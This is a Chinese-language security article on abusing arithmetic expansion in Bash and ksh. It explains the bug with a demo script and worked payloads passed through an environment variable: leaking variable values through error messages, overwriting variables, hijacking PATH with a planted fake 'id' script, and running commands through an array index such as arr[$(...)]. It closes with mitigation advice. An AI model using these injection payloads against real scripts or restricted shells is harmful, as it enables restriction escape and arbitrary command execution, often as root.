如何滥用Shell中的Arithmetic Expansion

 

0x00 前言

最近我们遇到了一类漏洞,这类漏洞之前已被发现过,但利用效果和严重性并没有引起广泛的关注。在(重新)发现这类bug的过程中,我们成功在基于Linux的某个受限shell中拿到了高权限shell。在面对这个受限shell时,一开始我们并没有找到特别好的方法实现shell逃逸,难以执行任意命令。目标shell逻辑上并没有特别明显的问题,并且采用黑名单来过滤输入字符串,似乎会正确验证输入是否合法。在本文中,我们将与大家分享如何绕过这些限制。

此次研究内容只覆盖了Bash及ksh,其他shell能够正确防御这类漏洞,但仍然可能有其他shell存在相同bug。

 

0x01 算术扩展及运算

那么什么是Arithmetic Expansion(算术扩展)呢?GNU的Bash手册中提到:“算术扩展允许计算算术表达式,并且可以实现结果替换”。

简而言之,这意味着我们可以在shell中轻松使用算术表达式(加、减等)。表达式中的元素必须是数字、已知的算术函数或者变量。

举个例子,存在漏洞的shell脚本(arithmetic.sh)如下所示:

#!/bin/bash

LOCALSCOPE="hello"
echo $VARIABLE

if (( VARIABLE == 0 ))
then
            echo "TRUE"
else
            echo "FALSE"
fi

if [[ $LOCALSCOPE != "hello" ]]
then
            echo "hit"
fi
id

这段简单的脚本已经具备我们所需的所有元素,可以通过各种方式来利用。在这个攻击场景中,由于各种原因(比如用户输入直接传递给CGI脚本、环境变量、参数的传递等),攻击者可以控制VARIABLE环境变量。

脚本的逻辑也比较简单:首先打印变量(帮助我们调试,减少错误),然后将输入与0进行比较,根据比较结果打印TRUE或者FALSE,随后检查LOCALSCOPE变量的值,然后从PATH中执行id程序。这里大家可以先使用如下命令来测试一下这个脚本:

VARIABLE=anything ./arithmetic.sh

在这种情况下,显然常见的命令执行技术没法派上用场,我们可以使用$() `` ; |或者其他重定向技术,但默认情况下这些方法也不会被执行。

信息泄露

当我们采用错误输入时,发现脚本会运行错误,从而揭开了冰山一角。当我们使用特定的格式或者脚本非预期的字符时,shell会给出一些错误消息,如下所示:

# VARIABLE=':atest' ./arithmetic.sh
:atest
./arithmetic.sh: line 3: ((: :atest == 0 : syntax error: operand expected (error token is ":atest == 0 ")
FALSE
uid=0(root) gid=0(root) groups=0(root)

用户输入会出现在错误消息中,如果我们能提取出关于系统的一些消息,那么这将是不错的一个切入点。由于运算方法会递归处理,直到解析出所有符号,因此我们可以使用其他环境变量来打印出相应值,比如这里我们可以使用PATH

# VARIABLE='PATH' ./arithmetic.sh
PATH
./arithmetic.sh: line 3: ((: /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin: syntax error: operand expected (error token is "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin")
FALSE
uid=0(root) gid=0(root) groups=0(root)

显然,只有攻击者能看到这个信息时,这才算得上一个安全漏洞。

覆盖变量

对我们来说,算术运算还有个更有趣的特性,那就是可以将数值赋给变量。通过这个功能,我们可以覆盖变量值,或者将不同作用域的变量赋值为新的数值。

在该脚本中,LOCALSCOPE变量看上去应该坚如磐石,里面没有任何语句可以修改该变量,因此对应的判断表达式将永远不为真,也就永远不会打印hit信息,但真的如此吗?如下所示:

# VARIABLE='LOCALSCOPE=1337' ./arithmetic.sh
LOCALSCOPE=1337
FALSE
hit
uid=0(root) gid=0(root) groups=0(root)

如果我们想修改多个变量,我们也只需要使用如下语法:

VARIABLE='LOCALSCOPE1 = 1337, LOCALSCOPE2 = 1' ./arithmetic.sh

需要注意的是,我们正在滥用shell的算术运算功能,那么为什么不采用更花哨的算术函数呢?例如:

VARIABLE='LOCALSCOPE1 = cos(LOCALSCOPE2)' ./arithmetic.sh

从PATH覆盖到命令执行

在前面描述的技术的基础上,我们已经能够有条件地实现命令执行。如果满足如下条件,我们就能使用上述技术来执行任意代码:

1、源脚本中,在算术计算后至少引用了一个外部可执行文件;

2、我们可以在脚本运行的目录(PWD)中创建目录;

3、使用引用的可执行文件名来创建一个文件。

如下所示:

# mkdir 0
# echo “#!/bin/sh” > 0/id
# echo “echo pwned” >> 0/id
# chmod 777 0/id
# VARIABLE='PATH = 0' ./arithmetic.sh
PATH = 0
TRUE
pwned

那么为什么会出现上述结果?前面提到过,我们可以使用数值来覆盖任何变量。这里我们选择的是0这个值,因此从脚本中的算术运算行开始,PATH变量的值将被修改为0,直到脚本退出为止。在算术运算后执行的(采用相对路径的)外部命令或者可执行文件将在PATH中查找,也就是0目录中查找。由于我们已经在该目录中设置了名为id的一个小恶意脚本,因此目标脚本将执行我们设置的脚本,而不是默认的/usr/bin/id

这种方式非常好,但我们能否找到不需要前提条件的命令执行方式呢?

无条件命令执行

我们挖掘出来的最大的惊喜就是无条件的命令执行。算术表达式本来就不应该执行命令替换操作,只应展开并计算语句。然而,如果我们在表达式中使用数组,并且数组索引为某个命令,那么shell会将该命令替换为命令执行的结果,从而实现命令执行。

# VARIABLE='arr[$(uname -n -s -m -o)]' ./arithmetic.sh
arr[$(uname -n -s -m -o)]
./arithmetic.sh: line 4: Linux kali x86_64 GNU/Linux: syntax error in expression (error token is "kali x86_64 GNU/Linux")
uid=0(root) gid=0(root) groups=0(root)

其他利用场景

Stéphane Chazelas(也就是发现Shellshock的研究人员)也发现了这个漏洞,并且给出了一些简单的存在漏洞的场景。需要注意的是,shell中不单单双括号存在潜在的攻击点,在某些情况下,其他表达式也会执行命令。大家可以参考此处了解更多信息。

 

0x02 缓解建议

首先我们建议大家在引用所有变量的时候使用引号,在大多数情况下,这样就能避免重新解析,也能避免在使用涉及到IFS中的空格符或其他字符时出现输入分割现象。

不幸的是,在面对算术扩展时引号并不能发挥作用,因此开发者应当确保所有变量和输入都来自于可信源。如果不满足该条件,那么我们应当仔细检查并过滤输入数据,否则就有可能出现本文描述的漏洞。

 

0x03 总结

虽然本文给出的源码一开始看上去毫无破绽,但实际上我们可以通过各种方式来利用。

除了最后一种利用方式外,本文提到的所有技术都应当能正常工作。但在处理无条件命令执行时,大家的意见似乎并不统一。

翻阅各种文章和帖子后,我们发现最早已经有人在2014年5月份提到该这个漏洞,讨论是否应当修复该漏洞。尽管有人认为这的确是一个安全bug,应当被修复,但其他人并不认同这一点。随后在2014年12月,Stéphane Chazelas在Stack Exchange上专门写了一份较长的答案,大家可以访问此处了解过多信息。

(完)